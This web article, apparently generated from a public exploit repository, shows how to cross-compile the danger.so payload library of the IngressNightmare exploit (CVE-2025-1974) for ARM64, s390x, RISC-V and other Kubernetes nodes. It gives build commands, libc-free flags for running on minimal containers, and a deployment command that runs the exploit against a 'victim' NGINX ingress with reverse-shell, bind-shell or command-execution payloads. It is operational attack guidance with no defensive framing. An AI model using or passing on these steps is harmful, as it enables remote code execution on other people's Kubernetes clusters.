How to Recompile danger.so for Different Architectures: Cross-Compilation Guide for the IngressNightmare Exploit

To recompile danger.so for a different architecture, install the target-specific cross-compiler toolchain (e.g., gcc-aarch64-linux-gnu for ARM64), set the CC environment variable to point to the cross-compiler, and execute make build to generate a position-independent shared object compatible with the victim node's CPU ISA.

The danger.so payload library is a critical component of the IngressNightmare exploit (esonhugh/ingressnightmare-cve-2025-1974-exps). When learning how to recompile danger.so for different architectures, you must account for the target system's CPU ISA and ABI, as the precompiled library will fail with an "Exec format error" if the architectures mismatch.

Understanding the danger.so Payload Architecture

The danger.so file is a tiny shared object written in C (nginx-ingress/danger.c) that contains an exported entrypoint constructor function. When the ingressnightmare Go binary runs, it loads this library via the ssl_engine directive, triggering the constructor to execute one of the payload modes (reverse-shell, bind-shell, or command execution).

Because the library is loaded directly into the NGINX process, the ELF binary must match the target node's architecture exactly. The repository provides a default build for x86-64, but Kubernetes clusters often run on ARM64, s390x, or other architectures, requiring cross-compilation.

Prerequisites: Installing Cross-Compiler Toolchains

To build for non-native architectures, you need the appropriate GNU cross-compiler installed on your build host:

  • ARM64 (aarch64): gcc-aarch64-linux-gnu
  • ARMv7 (armhf): gcc-arm-linux-gnueabihf
  • s390x: gcc-s390x-linux-gnu
  • RISC-V 64: gcc-riscv64-linux-gnu

Install these via your package manager (e.g., apt install gcc-aarch64-linux-gnu on Debian/Ubuntu).

Building danger.so for Target Architectures

The nginx-ingress/Makefile automates the build process, but you must specify the cross-compiler via the CC environment variable.

Native x86-64 Build

For the default host architecture, run:

make build

This executes:

gcc -fPIC -o danger.so danger.c -shared

Cross-Compiling for ARM64

To target ARM64 Kubernetes nodes:

CC=aarch64-linux-gnu-gcc make build

The Makefile invokes:

aarch64-linux-gnu-gcc -fPIC -o danger.so danger.c -shared

Other Architectures

Use the corresponding CC value for your target:

Target Architecture Cross-Compiler Command Environment Variable
ARMv7 arm-linux-gnueabihf-gcc CC=arm-linux-gnueabihf-gcc
s390x s390x-linux-gnu-gcc CC=s390x-linux-gnu-gcc
RISC-V 64 riscv64-linux-gnu-gcc CC=riscv64-linux-gnu-gcc

If the compiler is not in your PATH, provide the full path:

CC=/usr/bin/aarch64-linux-gnu-gcc make build

Compiler Flags and Position-Independent Code

The danger.so library requires specific flags to function as a loadable NGINX module:

  • -fPIC: Generates position-independent code, required for shared objects that the dynamic linker can map at any virtual address.
  • -shared: Produces a shared library (.so) rather than a standalone executable.

Libc-Free Compilation (Minimal Containers)

The source file (nginx-ingress/danger.c) contains minimal implementations of strcmp, strlener, and strcpy, allowing compilation without linking against glibc. This is essential for minimal containers that lack the standard C library:

gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so danger.c -shared

This command removes dependencies on the host's libc, producing a self-contained payload that works on scratch or distroless images.

Verifying the Compiled Binary

After compilation, verify the ELF header to ensure the architecture matches your target:

readelf -h danger.so | grep 'Machine'

Expected output for ARM64:


Machine:                           AArch64

The repository's Makefile automatically runs readelf -a danger.so during the build process to inspect the binary structure.

Deploying the Custom Library

Once you have recompiled danger.so for the correct architecture, deploy it with the Go exploit using the --so flag:

./ingressnightmare -m c -c 'id' --so ./danger.so -i $INGRESS -u $UPLOADER

As implemented in main.go, the --so parameter replaces the default embedded library with your custom-built version, ensuring the payload loads correctly on the target architecture.

Summary

  • danger.so is a position-independent shared object (nginx-ingress/danger.c) loaded by the ingressnightmare exploit via NGINX's ssl_engine directive.
  • Architecture mismatch causes "Exec format error" when the victim pod's CPU ISA differs from the compiled library.
  • Cross-compilation requires setting CC to the appropriate cross-compiler (e.g., aarch64-linux-gnu-gcc) before running make build.
  • Required flags are -fPIC and -shared; for minimal environments, add -nostdlib -ffreestanding -fno-builtin.
  • Verification uses readelf -h danger.so to confirm the Machine type matches the target architecture.

Frequently Asked Questions

What causes the "Exec format error" when running the exploit?

This error occurs when the danger.so library is compiled for a different CPU architecture than the victim NGINX pod. For example, if you compile the library on an x86-64 workstation but the target Kubernetes node runs ARM64, the Linux kernel cannot execute the x86-64 instructions on the ARM processor, resulting in the "Exec format error" detailed in the repository README.

Can I compile danger.so without libc dependencies?

Yes. The nginx-ingress/danger.c source includes its own implementations of string manipulation functions. By adding -nostdlib -ffreestanding -fno-builtin to the gcc command, you can create a fully self-contained shared object that does not require glibc or any standard library present on the target system, making it ideal for minimal or scratch containers.

How do I determine the architecture of the target Kubernetes node?

Run kubectl get nodes -o wide to view the node architecture, or execute uname -m inside a pod running on the target node. Common outputs include x86_64 (AMD64), aarch64 (ARM64), armv7l (ARM 32-bit), or s390x. Match this to the appropriate cross-compiler prefix when recompiling danger.so.

Static linking is not applicable to shared objects (.so files) in the traditional sense, as they are inherently dynamic libraries. However, you can eliminate external libc dependencies using the -nostdlib -ffreestanding flags, which effectively creates a self-contained payload with no external library dependencies, achieving similar portability benefits to static linking.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →